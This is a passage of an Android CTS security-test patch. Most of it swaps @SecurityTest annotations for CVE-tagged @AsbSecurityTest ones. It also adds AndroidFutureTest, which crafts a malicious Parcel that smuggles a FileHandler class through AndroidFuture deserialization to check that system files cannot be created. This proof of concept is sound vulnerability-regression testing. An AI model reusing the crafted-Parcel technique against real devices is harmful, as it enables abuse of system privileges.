+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Files.FileColumns;
 import android.provider.MediaStore.Video.Media;
@@ -258,8 +258,8 @@
         }
     }
 
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = 134155286)
     public void testIsoLocationRedaction() throws Exception {
         // These videos have all had their ISO location metadata (in the (c)xyz box) artificially
         // modified to +58.0000+011.0000 (middle of Skagerrak).
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 16d595f..2fc25b8 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -27,7 +27,7 @@
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.SystemClock;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.Settings;
 import android.provider.Settings.SettingNotFoundException;
 import android.provider.Settings.System;
@@ -143,8 +143,8 @@
     /**
      * Verifies that the invalid values for the font scale setting are rejected.
      */
-    @SecurityTest(minPatchLevel = "2021-02")
     @Test
+    @AsbSecurityTest(cveBugId = 156260178)
     public void testSystemSettingsRejectInvalidFontSizeScale() throws SettingNotFoundException {
         final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
         // First put in a valid value
diff --git a/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java b/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
index f085f20..2175bf0 100644
--- a/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
+++ b/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
@@ -17,7 +17,6 @@
 package android.security.cts;
 
 import android.test.AndroidTestCase;
-import android.platform.test.annotations.SecurityTest;
 
 import junit.framework.TestCase;
 
@@ -29,7 +28,6 @@
 /**
  * Verify that the boot.art isn't mapped out of the system partition.
  */
-@SecurityTest
 public class ARTBootASLRTest extends AndroidTestCase {
     public void testARTASLR() throws Exception {
         FileInputStream ins = new FileInputStream("/proc/self/maps");
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 59d965d..9480251 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -19,7 +19,7 @@
 import android.app.ApplicationExitInfo;
 import android.content.Context;
 import android.os.IBinder;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -27,7 +27,6 @@
 
 import java.lang.reflect.InvocationTargetException;
 
-@SecurityTest
 public class ActivityManagerTest extends TestCase {
 
     @Override
@@ -35,7 +34,7 @@
         super.setUp();
     }
 
-    @SecurityTest(minPatchLevel = "2015-03")
+    @AsbSecurityTest(cveBugId = 19394591)
     public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
         try {
             /*
@@ -53,7 +52,7 @@
     }
 
     // b/144285917
-    @SecurityTest(minPatchLevel = "2020-05")
+    @AsbSecurityTest(cveBugId = 144285917)
     public void testActivityManager_attachNullApplication() {
         SecurityException securityException = null;
         Exception unexpectedException = null;
@@ -81,7 +80,7 @@
     }
 
     // b/166667403
-    @SecurityTest(minPatchLevel = "2021-01")
+    @AsbSecurityTest(cveBugId = 166667403)
     public void testActivityManager_appExitReasonPackageNames() {
         final String mockPackage = "com.foo.bar";
         final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index df1018a..5d297c6 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -18,21 +18,20 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-@SecurityTest
 public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
 
     /**
      * Verifies that the device is not vulnerable to ANDROID-19270126: Android
      * BitmapFactory.decodeStream JPG allocPixelRef integer overflow
      */
-    @SecurityTest(minPatchLevel = "2015-03")
+    @AsbSecurityTest(cveBugId = 19394591)
     public void testAllocateJavaPixelRefIntOverflow() {
         InputStream exploitImage = mContext.getResources().openRawResource(
                 R.raw.cve_2015_1531_b_19270126);
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 99b2ab7..73536e3 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -33,7 +33,7 @@
 import java.util.Random;
 
 import android.security.cts.R;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 public class AmbiguousBundlesTest extends AndroidTestCase {
 
@@ -41,7 +41,7 @@
      * b/140417434
      * Vulnerability Behaviour: Failure via Exception
      */
-    @SecurityTest(minPatchLevel = "2020-04")
+    @AsbSecurityTest(cveBugId = 140417434)
     public void test_android_CVE_2020_0082() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -179,7 +179,7 @@
     /*
      * b/71992105
      */
-    @SecurityTest(minPatchLevel = "2018-05")
+    @AsbSecurityTest(cveBugId = 71992105)
     public void test_android_CVE_2017_13310() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -269,7 +269,7 @@
     /*
      * b/71508348
      */
-    @SecurityTest(minPatchLevel = "2018-06")
+    @AsbSecurityTest(cveBugId = 71508348)
     public void test_android_CVE_2018_9339() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -372,7 +372,7 @@
     /*
      * b/62998805
      */
-    @SecurityTest(minPatchLevel = "2017-10")
+    @AsbSecurityTest(cveBugId = 62998805)
     public void test_android_CVE_2017_0806() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
@@ -435,7 +435,7 @@
     /*
      * b/73252178
      */
-    @SecurityTest(minPatchLevel = "2018-05")
+    @AsbSecurityTest(cveBugId = 73252178)
     public void test_android_CVE_2017_13311() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
@@ -529,7 +529,7 @@
     /*
      * b/71714464
      */
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 71714464)
     public void test_android_CVE_2017_13287() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
new file mode 100644
index 0000000..7b26ff0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.BaseBundle;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+import static org.junit.Assert.assertFalse;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.lang.reflect.Field;
+
+@RunWith(AndroidJUnit4.class)
+public class AndroidFutureTest {
+
+    @AsbSecurityTest(cveBugId = 186530450)
+    @Test
+    public void testAndroidFutureReadThrowable() throws Exception {
+        String filePath = "/data/system/" + System.currentTimeMillis();
+        String argAfterNewLine = "%h" + filePath.replaceFirst("^/+", "");
+        Bundle bundle = createBundle("java.util.logging.FileHandler", "", argAfterNewLine);
+        sendBundleToSystem(bundle);
+        assertFalse(filePath + " should not be created", new File(filePath).exists());
+    }
+
+    private Bundle createBundle(String className, String argBeforeNewLine,
+                                String argAfterNewLine) throws Exception {
+        Parcel data = Parcel.obtain();
+        data.writeInt(1);
+        data.writeString("a");
+        data.writeInt(4);
+        data.writeString("com.android.internal.infra.AndroidFuture");
+        data.writeBoolean(true);
+        data.writeBoolean(true);
+        data.writeBoolean(true);
+        data.writeBoolean(false);
+        data.writeString(className);
+        data.writeString(argBeforeNewLine);
+        data.writeString(argAfterNewLine);
+
+        Bundle bundle = new Bundle();
+        Field parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+        parcelledDataField.setAccessible(true);
+        parcelledDataField.set(bundle, data);
+        return bundle;
+    }
+
+    private void sendBundleToSystem(Bundle theBundle) throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+        Context.class
+                .getMethod("sendBroadcast",
+                        Intent.class,
+                        String.class,
+                        Bundle.class)
+                .invoke(context, new Intent("DUMMY_BROADCAST"), null, theBundle);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/AslrTest.java b/tests/tests/security/src/android/security/cts/AslrTest.java
index f248a40..8a5eeca 100644
--- a/tests/tests/security/src/android/security/cts/AslrTest.java
+++ b/tests/tests/security/src/android/security/cts/AslrTest.java
@@ -21,7 +21,6 @@
 
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import java.io.BufferedReader;
 import java.io.File;
@@ -39,7 +38,6 @@
 /**
  * Verify that ASLR is properly enabled on Android Compatible devices.
  */
-@SecurityTest
 public class AslrTest extends InstrumentationTestCase {
 
     private static final int aslrMinEntropyBits = 8;
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
index 27b6021..10e1c20 100644
--- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -18,15 +18,14 @@
 
 import android.content.res.AssetManager;
 import android.content.res.XmlResourceParser;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
-@SecurityTest
 public class AssetManagerTest extends CtsAndroidTestCase {
 
     // b/144028297
-    @SecurityTest(minPatchLevel = "2020-04")
+    @AsbSecurityTest(cveBugId = 144028297)
     public void testCloseThenFinalize() throws Exception {
         final XmlResourceParser[] parser = {null};
         final AssetManager[] assetManager = {AssetManager.class.newInstance()};
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 56cff46..1e1878d 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -20,7 +20,7 @@
 import android.media.AudioTrack;
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.Equalizer;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
@@ -30,7 +30,6 @@
 import java.util.Arrays;
 import java.util.UUID;
 
-@SecurityTest
 public class AudioSecurityTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioSecurityTest";
 
@@ -90,7 +89,7 @@
     }
 
     // b/28173666
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28173666)
     public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
         testAllEffects("get parameter attempt offload",
                 new TestEffect() {
@@ -104,7 +103,7 @@
     // b/32438594
     // b/32624850
     // b/32635664
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 32438594)
     public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
         testAllEffects("get parameter2 attempt offload",
                 new TestEffect() {
@@ -116,7 +115,7 @@
     }
 
     // b/30204301
-    @SecurityTest(minPatchLevel = "2016-10")
+    @AsbSecurityTest(cveBugId = 30204301)
     public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
         testAllEffects("set parameter attempt offload",
                 new TestEffect() {
@@ -128,7 +127,7 @@
     }
 
     // b/37536407
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32448258)
     public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
         testAllEffects("equalizer get parameter name",
                 new TestEffect() {
@@ -355,7 +354,7 @@
     private static final int VISUALIZER_PARAM_CAPTURE_SIZE = 0;
 
     // b/31781965
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 31781965)
     public void testVisualizerCapture_CVE_2017_0396() throws Exception {
         // Capture params
         final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
diff --git a/tests/tests/security/src/android/security/cts/BannedFilesTest.java b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
index 8847a84..d4ae7d9 100644
--- a/tests/tests/security/src/android/security/cts/BannedFilesTest.java
+++ b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
@@ -17,7 +17,6 @@
 package android.security.cts;
 
 import android.platform.test.annotations.RestrictedBuildTest;
-import android.platform.test.annotations.SecurityTest;
 
 import com.android.compatibility.common.util.FileUtils;
 
@@ -29,7 +28,6 @@
 import java.io.IOException;
 import java.io.UnsupportedEncodingException;
 
-@SecurityTest
 public class BannedFilesTest extends TestCase {
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index bcfb1df..20ac03a 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -22,7 +22,7 @@
 
 import java.io.InputStream;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.R;
 
 public class BigRleTest extends AndroidTestCase {
@@ -32,7 +32,7 @@
      * This image reports that its encoded length is over 4 gigs. Prior to fixing issue 33251605,
      * we attempted to allocate space for all the encoded data at once, resulting in OOM.
      */
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 33251605)
     public void test_android_bug_33251605() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
index abb0370..7516e5b 100644
--- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -42,7 +42,7 @@
 import static org.junit.Assert.assertTrue;
 import android.test.AndroidTestCase;
 import androidx.test.InstrumentationRegistry;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import java.util.ArrayList;
 import android.util.Log;
@@ -97,7 +97,6 @@
     public native void runxpl(String pipedir);
 }
 
-@SecurityTest
 public class BinderExploitTest extends AndroidTestCase {
 
     static final String TAG = BinderExploitTest.class.getSimpleName();
@@ -115,7 +114,7 @@
     /**
      * b/141496757
      */
-    @SecurityTest(minPatchLevel = "2019-11")
+    @AsbSecurityTest(cveBugId = 133758011)
     public void testPoc_cve_2019_2213() throws Exception {
         Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
 
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index ce28a7a..444b110 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -17,7 +17,7 @@
 package android.security.cts;
 
 import android.graphics.BitmapFactory;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import android.security.cts.R;
@@ -25,7 +25,6 @@
 import java.io.BufferedInputStream;
 import java.io.InputStream;
 
-@SecurityTest
 public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
     /*
      * This test case reproduces the bug in CVE-2015-1532.
@@ -33,7 +32,7 @@
      * to heap corruption by trying to open a crafted PNG image with incorrect
      * npTc chunk.
      */
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 19151999)
     public void testNinePatchHeapOverflow() throws Exception {
         InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.cve_2015_1532));
@@ -41,14 +40,14 @@
 
     }
 
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 36724453)
     public void testPocCVE_2017_0691() throws Exception {
         InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.cve_2017_0691));
         BitmapFactory.decodeStream(exploitImage);
     }
 
-    @SecurityTest(minPatchLevel = "2017-12")
+    @AsbSecurityTest(cveBugId = 65290323)
     public void test_b65290323() throws Exception {
         InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.b65290323));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index f463855..b1de686 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -18,7 +18,7 @@
 
 import android.graphics.BitmapFactory;
 import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.File;
@@ -30,7 +30,6 @@
 
 import android.security.cts.R;
 
-@SecurityTest
 public class BitmapFactorySecurityTests extends AndroidTestCase {
     private FileDescriptor getResource(int resId) {
         try {
@@ -58,7 +57,7 @@
     /**
      * Verifies that decoding a corrupt ICO does crash.
      */
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 38116746)
     public void test_android_bug_38116746() {
         FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
         try {
@@ -74,7 +73,7 @@
     /**
      * Verifies that decoding a corrupt BMP does crash.
      */
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 37627194)
     public void test_android_bug_37627194() {
         FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
         try {
@@ -84,7 +83,7 @@
         }
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 156261521)
     public void test_android_bug_156261521() {
         // Previously decoding this would crash.
         FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index e7a326fe..40cb139 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -17,14 +17,13 @@
 package android.security.cts;
 
 import android.graphics.Bitmap;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-@SecurityTest
 @RunWith(AndroidJUnit4.class)
 public class BitmapTest {
     /**
@@ -34,7 +33,7 @@
      * OOME is more appropriate.
      */
     @Test(expected=OutOfMemoryError.class)
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 33846679)
     public void test_33846679() {
         // This size is based on the max size possible in a GIF file,
         // which might be passed to createBitmap from a Java decoder.
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 6a4990f..4810703 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -19,15 +19,14 @@
 
 import android.content.ComponentName;
 import android.content.Intent;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
-@SecurityTest
 public class BluetoothIntentsTest extends AndroidTestCase {
   /**
    * b/35258579
    */
-  @SecurityTest
+  @AsbSecurityTest(cveBugId = 35258579)
   public void testAcceptIntent() {
     genericIntentTest("ACCEPT");
   }
@@ -35,7 +34,7 @@
   /**
    * b/35258579
    */
-  @SecurityTest
+  @AsbSecurityTest(cveBugId = 35258579)
   public void testDeclineIntent() {
       genericIntentTest("DECLINE");
   }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
index 0a533bb..6625c9e 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -23,7 +23,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.net.Uri;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -34,7 +34,6 @@
 import static org.junit.Assert.*;
 import static org.junit.Assume.*;
 
-@SecurityTest
 @RunWith(AndroidJUnit4.class)
 public class CVE_2020_0294 {
     private static final String TAG = "CVE_2020_0294";
@@ -43,7 +42,7 @@
      * b/170661753
      */
     @Test
-    @SecurityTest(minPatchLevel = "2020-12")
+    @AsbSecurityTest(cveBugId = 154915372)
     public void testPocCVE_2020_0294() throws Exception {
         Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         ActivityManager activityManager = (ActivityManager) instrumentation.getContext()
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
index 3f39a0e..deb7c40 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -26,7 +26,7 @@
 import android.content.Intent;
 import android.os.Bundle;
 import android.os.RemoteException;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -42,8 +42,8 @@
     /**
      * b/159145361
      */
-    @SecurityTest(minPatchLevel = "2021-01")
     @Test
+    @AsbSecurityTest(cveBugId = 158480899)
     public void testPocCVE_2021_0309() {
         /**
          * Output of adb shell pm list packages --user 0 -U com.android.providers.media
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
index 56408ee..13076ba 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -19,7 +19,7 @@
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
@@ -29,7 +29,6 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-@SecurityTest
 @RunWith(AndroidJUnit4.class)
 public class CVE_2021_0327 {
 
@@ -51,7 +50,7 @@
      * b/175817081
      */
     @Test
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 172935267)
     public void testPocCVE_2021_0327() throws Exception {
         Log.d(TAG, "test start");
         testActivityCreated=false;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index a59d749..13b320f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -26,7 +26,7 @@
 import android.os.Bundle;
 import android.os.RemoteCallback;
 import android.os.SystemClock;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import androidx.test.InstrumentationRegistry;
@@ -37,7 +37,6 @@
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.TimeUnit;
 
-@SecurityTest
 @RunWith(AndroidJUnit4.class)
 public class CVE_2021_0339 {
 
@@ -63,7 +62,7 @@
      * start the first activity and get the result from the remote callback
      */
     @Test
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 145728687)
     public void testPocCVE_2021_0339() throws Exception {
         CompletableFuture<Integer> callbackReturn = new CompletableFuture<>();
         RemoteCallback cb = new RemoteCallback((Bundle result) ->
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index 6d504f6..571c293 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import androidx.test.filters.RequiresDevice;
 import androidx.test.runner.AndroidJUnit4;
 import org.junit.runner.RunWith;
@@ -32,11 +32,11 @@
     /**
      * b/172655291
      */
-    @SecurityTest(minPatchLevel = "2021-03")
     @Test
     @RequiresDevice
     // emulators always have checkJNI enabled which causes the test
     // to abort the VM while passing invalid input to NewStringUTF
+    @AsbSecurityTest(cveBugId = 172655291)
     public void testPocCVE_2021_0394() throws Exception {
         assertFalse(poc());
     }
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 3178616..3022b6c 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -17,7 +17,7 @@
 package android.security.cts;
 
 import android.content.Context;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import java.io.InputStream;
 import java.security.KeyStore;
@@ -32,7 +32,6 @@
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509TrustManager;
 
-@SecurityTest
 public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
 
     private X509Certificate[] loadCertificates(int resource) throws Exception {
@@ -76,6 +75,7 @@
         return null;
     }
 
+    @AsbSecurityTest(cveBugId = 26232830)
     public void testIntermediateVerification() throws Exception {
         X509TrustManager tm = getTrustManager();
         X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid);
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 3314166..26ab802 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -18,7 +18,7 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
@@ -32,7 +32,7 @@
      * Prior to fixing bug 34778578, decoding this file would crash. Instead, it should fail to
      * decode.
      */
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 34778578)
     public void test_android_bug_34778578() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
@@ -45,7 +45,7 @@
      * Prior to fixing bug 67381469, decoding this file would crash. Instead, it should fail to
      * decode.
      */
-    @SecurityTest(minPatchLevel = "2017-12")
+    @AsbSecurityTest(cveBugId = 67381469)
     public void test_android_bug_67381469() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index d1baf37..5aef702 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -21,7 +21,7 @@
 import android.media.audiofx.Equalizer;
 import android.media.audiofx.PresetReverb;
 import android.media.MediaPlayer;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
@@ -31,7 +31,6 @@
 import java.util.Arrays;
 import java.util.UUID;
 
-@SecurityTest
 public class EffectBundleTest extends InstrumentationTestCase {
     private static final String TAG = "EffectBundleTest";
     private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
@@ -48,7 +47,7 @@
     private static final int intSize = 4;
 
